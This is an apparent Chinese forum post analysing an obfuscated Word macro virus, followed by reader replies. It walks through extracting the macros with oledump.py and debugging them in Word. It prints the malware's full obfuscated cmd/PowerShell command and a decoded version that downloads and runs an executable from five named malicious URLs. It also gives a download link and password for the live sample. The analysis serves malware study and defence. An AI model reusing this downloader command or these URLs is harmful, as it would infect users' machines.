宏病毒混淆分析
本帖最后由 1行 于 2020-3-6 09:56 编辑##前言
很早之前就说要分析宏病毒,一直没机会,现在终于有空闲时间来分析一个混淆的比较厉害的宏病毒了。
## 静态分析
分析宏病毒时,可以利用 oledump.py 来将宏代码提取出来再进行分析。
使用命令`python oledump.py` 文件名,即可查看文件流信息。
下图中的 M 表示该段中有宏代码。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305170349122.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
`python oledump.py -s 8 -v 11.dat >1.txt ` 可以将 8 段中的宏代码提取到 1.txt 中,再进行查看。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305170728736.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
利用相同方式将其他几段的宏代码提取出来。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305170826129.png)
几个文件都是混淆的宏代码,代码量较大,可以直接在 word 中进行调试。
简单截几个图,大家看看。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305171313554.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305171332873.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
宏病毒往往是作为payload的载体,通过创建其他例程,释放运行payload。无论宏病毒前面执行了多么复杂的操作,最后肯定会运行payload,而运行payload的方式可能是Shell、WScript.Shell、Application.Run等,我们可以直接搜索这些字符串迅速定位到运行payload的地方。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305172159536.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
## 动态调试提取shell指令
在word中进行调试可以用一个大佬的办法([动态调试](https://blog.csdn.net/cssxn/article/details/83855541))。
可以在点击"启用内容"按钮的时候,按住SHIFT键,点击"启用内容"按钮,然后松开SHIFT。然后按下ALT+F11,打开宏编辑窗口,这时候可以在宏代码的main函数下断点、单步了。
可以查找 open ,在 open 函数处下断点,进行单步调试。
![在这里插入图片描述](https://img-blog.csdnimg.cn/2020030517252724.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
单步跟踪至 shell 字符所在位置,并将其进行修改打印在立即窗口(alt + g)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200305172707703.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FfWkhBWkhBTA==,size_16,color_FFFFFF,t_70)
## 解密指令
要执行的命令为
```
Cmd ndhWBjQRaKjd lwBEdpHvYorokFIH HJtWpEl & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %AnwNbCCfohPIFaY%=XPBczISw&&set %oOFGpBavpzWm%=p&&set %EHvWMSqvjSuF%=o^w&&set %kzllStTJVsNAmHD%=CICjHCmI&&set %YAndBHVC%=!%oOFGpBavpzWm%!&&set %nmUaLIvrUzcdRQM%=NGmNMYUPMrZqGj&&set %chqciOaM%=e^r&&set %koBpiAiEjM%=!%EHvWMSqvjSuF%!&&set %USVFzoX%=s&&set %riLcwjZszNwVfoi%=smwHVBPYvOR&&set %dtPZbzmsRzArHw%=he&&set %AhZtENTH%=ll&&!%YAndBHVC%!!%koBpiAiEjM%!!%chqciOaM%!!%USVFzoX%!!%dtPZbzmsRzArHw%!!%AhZtENTH%! " ('LCxn'+'sadas'+'d '+'= &(IM'+'TnIMT'+'+IM'+'TeIMT+I'+'M'+'Tw'+'-ob'+'jec'+'I'+'M'+'T'+'+IM'+'TtIM'+'T) r'+'an'+'dom'+';'+'L'+'Cx'+'YYU ='+' .(IMTneIMT+'+'IMT'+'wIMT'+'+IMT'+'-obj'+'ectI'+'MT) Sys'+'t'+'em'+'.Ne'+'t.Web'+'C'+'l'+'ie'+'n'+'t;LCxNSB = LCx'+'n'+'sa'+'d'+'a'+'sd'+'.ne'+'xt(1000'+'0, 2821'+'33'+');L'+'C'+'xADC'+'X = IMT http'+'s://'+'e-die'+'rks.de/'+'2'+'s'+'Vu5xN/@'+'http'+':/'+'/'+'e'+'a'+'st'+'f'+'oot'+'ball.co.uk/'+'b'+'kBaM'+'K/@http://'+'bom'+'ber'+'mus'+'ic.co'+'m/CHl3
4g'+'/@'+'ht'+'tp://za'+'f'+'ado.co'+'m'+'/'+'a'+'s'+'pne'+'t'+'_cli'+'e'+'n'+'t'+'/o4yd0Z06'+'/'+'@http'+'s://ave'+'rin.p'+'ro/'+'OEYhFkUj/'+'IMT.'+'Sp'+'lit(IMT'+'@'+'IMT);'+'LCx'+'SDC'+' = L'+'Cx'+'e'+'nv:p'+'u'+'blic + '+'IMT50nIMT'+' + LCxNSB'+' '+'+ (IMT.'+'exI'+'M'+'T+'+'IMTe'+'I'+'M'+'T'+');f'+'oreach(LCxasfc in LCxAD'+'C'+'X){try{'+'L'+'CxY'+'YU'+'.pEN'+'Do'+'AF'+'eWn'+'l'+'AFe'+'O'+'adFIAFelepE'+'N'+'(LC'+'xasfc.pEN'+'T'+'o'+'S'+'t'+'rAFe'+'iA'+'Fe'+'N'+'g'+'pEN(), '+'LCxS'+'D'+'C'+')'+';&(I'+'MTInv'+'oI'+'MT+IMTkI'+'M'+'T+IMTe-It'+'emI'+'MT'+')(L'+'CxSDC)'+';b'+'reak;}'+'catc'+'h{'+'}}').replACe((76+67+120),'$').replACe('50n',92).replACe((112+69+78),34).replACe('AFe',96).replACe((73+77+84),39)|& ( $pshoMe+$PshOMe+'x')
```
混淆的方式都是利用字符串替换。
开头是利用 set %AnwNbCCfohPIFaY%=XPBczISw 等替换成powershell,中间代码是利用char(num)获取字符,再使用replace来替换
经过解密之后的代码为
```
Cmd ndhWBjQRaKjd lwBEdpHvYorokFIH HJtWpEl & %comSpEc% %comSpEc% /V /c set %AnwNbCCfohPIFaY%=XPBczISw&&set %oOFGpBavpzWm%=p&&set %EHvWMSqvjSuF%=o^w&&set %kzllStTJVsNAmHD%=CICjHCmI&&set %YAndBHVC%=!%p%!&&set %nmUaLIvrUzcdRQM%=NGmNMYUPMrZqGj&&set %chqciOaM%=e^r&&set %koBpiAiEjM%=!%o^w%!&&set %USVFzoX%=s&&set %riLcwjZszNwVfoi%=smwHVBPYvOR&&set %dtPZbzmsRzArHw%=he&&set %AhZtENTH%=ll&&!
powershell
$nsadasd = random;
$YYU = .(new -object) System.Net.WebClient; 下载样本
$NSB = random.next(10000, 282133); 随机命名样本
$ADCX = https://e-dierks.de/2sVu5xN/
http://eastfootball.co.uk/bkBaMK/
http://bombermusic.com/CHl34g/
http://zafado.com/aspnet_client/o4yd0Z06/
https://averin.pro/OEYhFkUj/
恶意URL
$SDC = $env:public + '\' + $NSB + ('.exe);
for each($asfc in $ADCX){
try{
$YYU."DownloadFile"($asfc."ToString"(), $SDC);
&('Invoke-Item')($SDC); 运行恶意程序
break;}
catch{
}
}').replACe(('LCx'),'$').replACe('50n','\').replACe(('pEN','"').replACe('AFe','`').replACe(('IMT'),''')|& ( iex )
```
基本流程为,使用CMD命令打开powershell,再在指定恶意URL处下载文件,并随机数字命名,最后运行恶意程序。
## 小结
分析到最后总结一下吧,大多宏病毒的最终目的是从恶意URL中下载恶意程序的,可以根据这个思路来快速查找。
最后再放上这个样本的下载地址,欢迎大家一起分析讨论。
链接:https://pan.baidu.com/s/1nh_KsOvxufwQbdHCLo_0WA
提取码:vnll 约定的童话 发表于 2020-3-6 08:05
同问,学了这么长时间VBA关于这个混淆还是不是很懂
这个就是编程学到一定程度就慢慢了解了,属于加密方面的,网上没有几个讲的,我这两天找了工具可以混淆了,没时间从头学,拿现成的用就可以 shaokui123 发表于 2020-3-6 00:48
宏代码是用什么混淆的?
开头是利用 set %AnwNbCCfohPIFaY%=XPBczISw 等替换成powershell,中间代码是利用char(num)获取字符,再使用replace来替换 csdn 的也是我写的,写的时候忘记在Typora里写的,为止笔记里导出来图片就不显示,搞得我只能放CSDN的图了 感谢分享 在python里放宏这样提取,感谢分享 宏代码是用什么混淆的? shaokui123 发表于 2020-3-6 00:48
宏代码是用什么混淆的?
同问,学了这么长时间VBA关于这个混淆还是不是很懂 感谢分享 学习了 学习了,谢谢分享! 约定的童话 发表于 2020-3-6 08:05
同问,学了这么长时间VBA关于这个混淆还是不是很懂
已在原文进行修改
页:
[1]
2